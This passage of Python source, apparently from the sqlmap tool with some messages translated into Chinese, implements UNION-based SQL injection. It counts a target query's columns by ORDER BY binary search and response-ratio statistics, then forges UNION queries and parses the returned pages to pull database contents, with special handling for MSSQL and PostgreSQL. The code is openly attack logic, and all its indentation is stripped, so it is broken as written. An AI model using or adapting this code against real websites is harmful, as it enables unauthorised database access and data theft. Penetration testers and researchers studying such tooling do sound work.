if retVal is None or abs(max_ - upper) > abs(min_ -
lower):
retVal = maxItem[0]
finally:
kb.errorIsNone = popValue()
if retVal:
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
singleTimeLogMessage(infoMsg, logging.INFO,
re.sub(r"\d+", "N", infoMsg))
return retVal
def _findUnionCharCount(comment,
place,
parameter,
value,
prefix,
suffix,
where=PAYLOAD.WHERE.ORIGINAL):
"""
Finds number of columns affected by UNION based injection
"""
retVal = None
def _orderByTechnique():
def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query,
place=place,
parameter=parameter,
where=where)
page, headers, code = Request.queryPage(payload,
place=place,
content=True,
raise404=False)
return not any(
re.search(_, page or "", re.I)
and not re.search(_, kb.pageTemplate or "", re.I)
for _ in ("(warning|error):", "order by",
"unknown column", "failed")) and comparison(
page, headers, code) or re.search(
r"data types cannot be compared or sorted",
page or "", re.I)
if _orderByTest(1) and not _orderByTest(randomInt()):
infoMsg = u"'ORDER BY'技术似乎是可用的。"
infoMsg += u"这将减少查找正确数量的查询列所需的时间。"
infoMsg += u"自动扩展当前UNION查询注入技术测试的范围。"
singleTimeLogMessage(infoMsg)
lowCols, highCols = 1, ORDER_BY_STEP
found = None
while not found:
if _orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
else:
while not found:
mid = highCols - (highCols - lowCols) / 2
if _orderByTest(mid):
lowCols = mid
else:
highCols = mid
if (highCols - lowCols) < 2:
found = lowCols
return found
try:
pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1:
found = kb.orderByColumns or _orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "目标网址在查询中似乎含有%d列%s" % (found,
'(字段)' if found > 1 else "")
singleTimeLogMessage(infoMsg)
return found
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO
pages = {}
for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix,
suffix, kb.uChar, where)
payload = agent.payload(place=place,
parameter=parameter,
newValue=query,
where=where)
page, headers, code = Request.queryPage(payload,
place=place,
content=True,
raise404=False)
if not isNullValue(kb.uChar):
pages[count] = page
ratio = comparison(page, headers, code,
getRatioValue=True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))
if not isNullValue(kb.uChar):
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
contains = [(count, re.search(regex, _ or "", re.IGNORECASE)
is not None) for count, _ in pages.items()]
if len(filter(lambda _: _[1], contains)) == 1:
retVal = filter(lambda _: _[1], contains)[0][0]
break
if not retVal:
if min_ in ratios:
ratios.pop(ratios.index(min_))
if max_ in ratios:
ratios.pop(ratios.index(max_))
minItem, maxItem = None, None
for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
if all(_ == min_ and _ != max_ for _ in ratios):
retVal = maxItem[0]
elif all(_ != min_ and _ == max_ for _ in ratios):
retVal = minItem[0]
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
lower, upper = average(
ratios) - UNION_STDEV_COEFF * deviation, average(
ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
finally:
kb.errorIsNone = popValue()
if retVal:
infoMsg = u"目标网址似乎是可以使用UNION注入%d列" % retVal
singleTimeLogMessage(infoMsg, logging.INFO,
re.sub(r"\d+", "N", infoMsg))
return retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert or False, expression),
checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.jsonAggMode:
injExpression = unescaper.escape(
agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
# Note: introduced columns in 1.4.2.42#dev
try:
kb.tableFrom = vector[9]
kb.unionTemplate = vector[10]
except IndexError:
pass
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
else:
injExpression = unescaper.escape(expression)
where = vector[6]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if kb.jsonAggMode:
for _page in (page or "", (page or "").replace('\\"', '"')):
if Backend.isDbms(DBMS.MSSQL):
output = extractRegexResult(
r"%s(?P<result>.*)%s" %
(kb.chars.start, kb.chars.stop),
removeReflectiveValues(_page, payload))
if output:
try:
retVal = ""
fields = re.findall(
r'"([^"]+)":',
extractRegexResult(r"{(?P<result>[^}]+)}",
output))
for row in json.loads(output):
retVal += "%s%s%s" % (
kb.chars.start,
kb.chars.delimiter.join(
getUnicode(row[field] or NULL)
for field in fields), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
elif Backend.isDbms(DBMS.PGSQL):
output = extractRegexResult(
r"(?P<result>%s.*%s)" %
(kb.chars.start, kb.chars.stop),
removeReflectiveValues(_page, payload))
if output:
retVal = output
else:
output = extractRegexResult(
r"%s(?P<result>.*?)%s" %
(kb.chars.start, kb.chars.stop),
removeReflectiveValues(_page, payload))
if output:
try:
retVal = ""
for row in json.loads(output):
retVal += "%s%s%s" % (kb.chars.start, row,
kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal:
break
else:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return firstNotNone(
extractRegexResult(regex,
removeReflectiveValues(page, payload),
re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(
listToStrValue((
_ for _ in headers.headers
if not _.startswith(HTTP_HEADER.URI)
) if headers else None), payload, True),
re.DOTALL | re.IGNORECASE))
# Automatically patching last char trimming cases
if kb.chars.stop not in (page
or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlUnescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
retVal)
elif not kb.jsonAggMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
elif re.search(r"ORDER BY [^ ]+\Z", expression):
debugMsg = "retrying failed SQL query without the ORDER BY clause"
singleTimeDebugMessage(debugMsg)
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
retVal = _oneShotUnionUse(expression, unpack, limited)
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)",
agent.nullAndCastField(expression)):
debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
singleTimeDebugMessage(debugMsg)
kb.nchar = False
retVal = _oneShotUnionUse(expression, unpack, limited)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
